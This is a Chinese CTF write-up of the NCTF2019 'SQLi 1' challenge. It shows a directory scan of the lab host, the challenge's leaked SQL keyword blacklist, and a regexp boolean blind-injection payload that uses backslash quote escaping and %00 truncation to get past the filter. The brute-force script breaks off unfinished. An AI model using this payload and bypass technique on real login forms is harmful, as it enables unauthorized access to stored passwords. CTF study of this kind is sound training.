[NCTF2019]SQLi 1 详解 以及 regexp 布尔盲注爆破脚本深度解析与改进

知识点

1 %00截断代替#和–
2 regexp bool盲注

0x01 解题过程

在这里插入图片描述

一 使用dirmap扫描

1.扫描
python3 dirmap.py -i http://38457678-39d0-4069-9193-7b082a65e751.node5.buuoj.cn:81/ -lcf
在这里插入图片描述
注:如果扫描不出来,可以修改dirmap目录下的dirmap.conf。将conf.request_limit 选项修改为1
2. 访问 扫描出来的 robots.txt得到hint.txt,再次访问hint.txt
http://38457678-39d0-4069-9193-7b082a65e751.node5.buuoj.cn:81/robots.txt
访问robots.txt
hint.txt
得到提示,过滤了一堆东西$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
但是我们只需要爆出密码就行

二 注入

1 payload分析

已知column名并且注入点在where子句中,要求得到密码
这里可以采用regexp进行bool盲注。

payload: username=\&passwd=||passwd/**/regexp/**/"^a";%00

  1. 通过\ 转义username后第二个单引号进而闭合掉passwd后第一个引号
  2. 通过%00截断 代替# –
  3. regexp “^a” 表示 查找passwd列中以a为起始的
2 burp爆破

得到true的返回情况,这里用welcom.php为关键字
在这里插入图片描述

3 脚本爆破
import requests
from urllib.parse import unquote
import string

def regexpIng():
    result = 
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值